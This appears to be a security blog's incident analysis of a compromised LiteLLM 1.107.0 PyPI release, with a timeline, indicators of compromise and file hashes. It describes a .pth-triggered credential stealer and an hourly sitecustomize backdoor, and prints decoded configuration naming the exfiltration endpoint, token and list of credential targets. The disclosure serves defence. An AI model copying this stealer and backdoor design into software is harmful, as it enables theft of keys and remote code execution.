---
title: "Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor"
description: "Every wheel of LiteLLM 1.107.0 on PyPI installs a credential stealer and a remote code execution backdoor. Both run each time Python starts. The code is not in the upstream GitHub source."
url: "https://safedep.io/blog/litellm-pypi-compromise-credential-stealer-backdoor"
author: "Kunal Singh"
published: "2026-10-21"
---

# Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

The [LiteLLM 1.107.0](https://pypi.org/project/litellm/1.107.0/) release on PyPI carries a credential stealer and a
remote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in
`site-packages`. Both run when any Python process starts on the host, even one that never imports `litellm`. The
upstream GitHub source does not contain them.

LiteLLM confirmed the compromise in its [incident report](https://www.litellm.ai/blog?post=security-incident-oct-21-2026), which lists
remediation steps. PyPI removed the release by 13:23 UTC on 2026-10-21. The Docker images `v1.107.0`, `latest`, `main-latest`, and `main-stable` on
Docker Hub and GHCR also carried the malicious code between 11:46 and 14:20 UTC.

Versions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean. The companion packages that 1.107.0 pins,
`litellm-proxy-extras==0.4.110` and `litellm-enterprise==0.1.78`, are also clean.

## What the attack does

Installing `litellm==1.107.0` places three files in `site-packages`. Python loads two of them each time it starts.

1. `cook.pth` imports `cook.py`, a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool
   tokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it to
   `www.litellm[.]dev`.
2. `sitecustomize.py` starts a background daemon. Every hour, the daemon reads a server address from a GitHub file,
   runs the stealer again, and downloads and runs code from that server.

## How the implant got into the release

The `pyproject.toml` in the 1.107.0 source distribution (sdist) has one extra line in the `maturin` build section:

```toml title="pyproject.toml (litellm-1.107.0.tar.gz)"
[tool.maturin]
...
python-source = "."
data = "cook"                     # <-- injected
python-packages = ["litellm_cli"] # legitimate (present upstream)
```

The `maturin` `data = "cook"` setting copies a `cook/` folder into `litellm-1.107.0.data/purelib/` in the wheel. pip
installs that folder into `site-packages`.

The sdist leaves out the `cook/` folder, so this line is the only visible change. No public commit in [BerriAI/litellm](https://github.com/BerriAI/litellm) contains `data = "cook"` or a `cook/` folder.

The wheel `RECORD` lists the three added files:

```text title="litellm-1.107.0.dist-info/RECORD"
litellm-1.107.0.data/purelib/cook.pth           12 bytes   "import cook"
litellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  loader/backdoor + embedded stealer
```

### How the attacker published it

LiteLLM's [incident report](https://www.litellm.ai/blog?post=security-incident-oct-21-2026) says the attacker held the GitHub CLI credentials of three
developers. LiteLLM believes the attacker took them from the logs of an internal LiteLLM deployment exposed to the
internet. With an organization owner's token, the attacker bypassed branch protection and pointed the private release
workflow at a lookalike repository, `Berri-AI/litellm`. The attacker then passed the approval gate with a second
developer's credential, and the official pipeline built, signed, and published the artifacts.

## Payload 1: the credential stealer in cook.py

At startup, Python runs each line that starts with `import` in a `.pth` file in `site-packages`. `cook.pth` contains
`import cook`, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and
CI jobs.

`cook.py` wraps about 61 KB of Python in one layer of `exec(zlib.decompress(base64.b64decode('...')))`. The decoded
code starts with this configuration:

```python title="cook.py (decoded)"
PC_URL       = 'http://www.litellm.dev/healthcheck'
PC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # sent as X-Token header
PC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC     = True                              # runs in a daemon thread
PC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
                'shell_hist','cloud_creds','dev_secrets','container_creds',
                'cicd_secrets','ai_devtools','env_vars','db_litellm',
                'cloud_metadata','gpg_keys','tls_privkey']
```

### What it collects

| Module                    | Targets                                                                                                                                                                                       |
| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sysinfo`, `netinfo`      | Host name, user, operating system, IP addresses, network settings                                                                                                                             |
| `browser_pw`              | Chromium saved passwords, decrypted with the profile master key (DPAPI on Windows). Firefox `logins.json` and `key4.db`                                                                       |
| `browser_hist`            | Browser history                                                                                                                                                                               |
| `ssh_keys`                | `~/.ssh/*`                                                                                                                                                                                    |
| `shell_hist`              | `bash` and `zsh` history, PowerShell PSReadLine, `cmd` history                                                                                                                                |
| `cloud_creds`             | `~/.aws/credentials` and `config`, Azure profile and tokens, `gcloud` credentials, `~/.kube/config`, `~/.docker/config.json`, `gh` `hosts.yml`, `rclone.conf`, `~/.netrc`                     |
| `dev_secrets`             | `.pem`, `.key`, `.pfx`, `.p12`, `.pk8`, `.ppk` files under `$HOME`, Composer `auth.json`, FileZilla saved servers                                                                             |
| `container_creds`         | Kubernetes service account token                                                                                                                                                              |
| `cicd_secrets`            | GitLab runner `config.toml`, Jenkins `initialAdminPassword` and `master.key`, `.vault-token`, Terraform `credentials.tfrc.json`, Packer settings                                              |
| `ai_devtools`             | Claude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code `mcp.json`, Gemini CLI, Codex `auth.json`, Continue, Aider, Goose, `opencode`, `Qwen`, Crush, `Kiro`, Zed, Hugging Face token |
| `env_vars`                | Its own environment and the environment of other processes through `/proc/<pid>/environ`                                                                                                      |
| `db_litellm`              | Reads `DATABASE_URL` and dumps the `LiteLLM_CredentialsTable` and `LiteLLM_ProxyModelTable` tables, which hold the LLM provider API keys of a LiteLLM proxy                                   |
| `cloud_metadata`          | AWS instance metadata service (IMDSv2, then v1): instance identity and role credentials                                                                                                       |
| `gpg_keys`, `tls_privkey` | GPG keys, TLS private keys                                                                                                                                                                    |

### How it sends the data

1. It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded
   public key.
2. It packs the result into a tar.gz (`hdr.json`, `data.bin`, `key.bin`) and sends it in a POST request to
   `www.litellm[.]dev/healthcheck` with the header `X-Token: XWiA8gZNa7NcX2XRoAEb`.
3. After a successful upload, it writes `/tmp/.pc_once_72129118c59f5636c0bb` so it collects only once per host. It
   also sets `PRIVCOLLECT_ACTIVE=1` to avoid a second run in the same process tree.

## Payload 2: the backdoor in sitecustomize.py

Python imports `sitecustomize` at startup, so this file also runs in every Python process.

```python title="sitecustomize.py"
GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH      = "/codepy"
LOOP_INTERVAL  = 3600
LOCK_FILE      = "/tmp/remote_code_loader.lock"
```

1. It takes an exclusive lock on `/tmp/remote_code_loader.lock`, so only one daemon runs per host.
2. It calls `fork()` and `setsid()`, sends standard input and output to `/dev/null`, and changes directory to `/` to
   detach from the parent process.
3. Every hour, it:
   1. reads `domain.txt` from the attacker's GitHub repository and takes the first line that looks like a domain,
   2. runs its embedded copy of the stealer, which has no once-per-host marker,
   3. downloads `http://<domain>/codepy` and runs it with `exec()`.

The attacker can point the daemon at a new server by editing `domain.txt`. Each infected host runs whatever that server
returns as `codepy`.

At 13:40 UTC, the GitHub account `letters9813` and its repository returned 404, about two hours after the release. The
backdoor now finds no server address and does nothing. Hosts that ran the daemon before the deletion could have
received and run second-stage code. SafeDep could not recover the server address.

## Timeline

All times are UTC on 2026-10-21, from LiteLLM's report unless noted.

| Time           | Event                                                                 |
| -------------- | --------------------------------------------------------------------- |
| 10:08          | Attacker overrides branch protection and changes the release workflow |
| 10:46          | Staging run builds from `Berri-AI/litellm`                            |
| 11:39 to 11:40 | Seven malicious wheels uploaded to PyPI                               |
| 11:46          | Malicious Docker images published                                     |
| 13:23          | PyPI removes 1.107.0                                                  |
| 13:40          | GitHub account `letters9813` returns 404 (SafeDep)                    |
| 14:20          | Docker Hub tags removed or repointed to clean images                  |

## Indicators of compromise

### Network

| Indicator                                                                   | Purpose                                                  |
| --------------------------------------------------------------------------- | -------------------------------------------------------- |
| `www.litellm[.]dev`, `hxxp://www.litellm[.]dev/healthcheck`                 | Receives stolen data                                     |
| HTTP header `X-Token: XWiA8gZNa7NcX2XRoAEb`                                 | Sent with each upload                                    |
| `raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt` | Backdoor reads its server address here (account deleted) |
| `hxxp://<domain>/codepy`                                                    | Second-stage code download                               |
| Requests to `169.254.169.254` from Python processes                         | Theft of AWS instance credentials                        |

### Host

| Indicator                                                                 | Meaning                       |
| ------------------------------------------------------------------------- | ----------------------------- |
| `cook.pth`, `cook.py`, `sitecustomize.py` in `site-packages`              | Implant installed             |
| `/tmp/.pc_once_72129118c59f5636c0bb`                                      | Stealer already uploaded data |
| `/tmp/remote_code_loader.lock`                                            | Backdoor daemon has run       |
| Environment variable `PRIVCOLLECT_ACTIVE=1`                               | Present in infected processes |
| Detached Python daemon (parent PID 1, own session, working directory `/`) | Backdoor loop                 |

### Container images

| Tags                                               | Image index digest                                                        |
| -------------------------------------------------- | ------------------------------------------------------------------------- |
| `v1.107.0`, `latest`, `main-latest`, `main-stable` | `sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e` |

LiteLLM's report lists this digest for `berriai/litellm` on Docker Hub and `ghcr.io/berriai/litellm`.

### File hashes (SHA-256)

| File                                                    | SHA-256                                                            |
| ------------------------------------------------------- | ------------------------------------------------------------------ |
| `litellm-1.107.0.tar.gz`                                | `2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819` |
| `litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl`  | `462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7` |
| `litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl` | `668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6` |
| `litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl`   | `1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00` |
| `litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl`  | `c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054` |
| `litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl`    | `7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d` |
| `litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl`      | `0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a` |
| `litellm-1.107.0-cp310-abi3-win_amd64.whl`              | `12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484` |

The planted files have different hashes on Windows because of the CRLF line endings:

| File               | Linux and macOS                                                    | Windows                                                            |
| ------------------ | ------------------------------------------------------------------ | ------------------------------------------------------------------ |
| `cook.pth`         | `7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb` | `84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d` |
| `cook.py`          | `9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25` | `03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea` |
| `sitecustomize.py` | `34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa` | `b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465` |
